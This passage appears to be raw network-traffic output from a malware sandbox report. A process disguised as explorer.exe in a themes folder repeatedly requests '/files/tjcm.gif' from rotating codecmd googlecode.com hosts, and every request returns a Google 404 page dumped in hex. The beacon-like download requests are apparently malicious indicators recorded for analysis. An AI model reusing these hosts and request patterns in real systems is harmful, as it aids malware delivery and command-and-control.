Jul 16, 2022 23:57:50.942202091 CEST	2650	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49866	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:53.439694881 CEST	2651	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd02.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:57:53.466470003 CEST	2652	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:57:53 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:57:53.466496944 CEST	2653	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49867	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:55.710952997 CEST	2653	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd03.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:57:55.737890005 CEST	2655	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:57:55 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:57:55.737912893 CEST	2655	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49868	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:58.168642998 CEST	2656	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd01.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:57:58.197532892 CEST	2657	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:57:58 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:57:58.197556973 CEST	2658	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49871	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:00.906277895 CEST	2672	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd02.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:58:00.932934999 CEST	2673	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:58:00 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 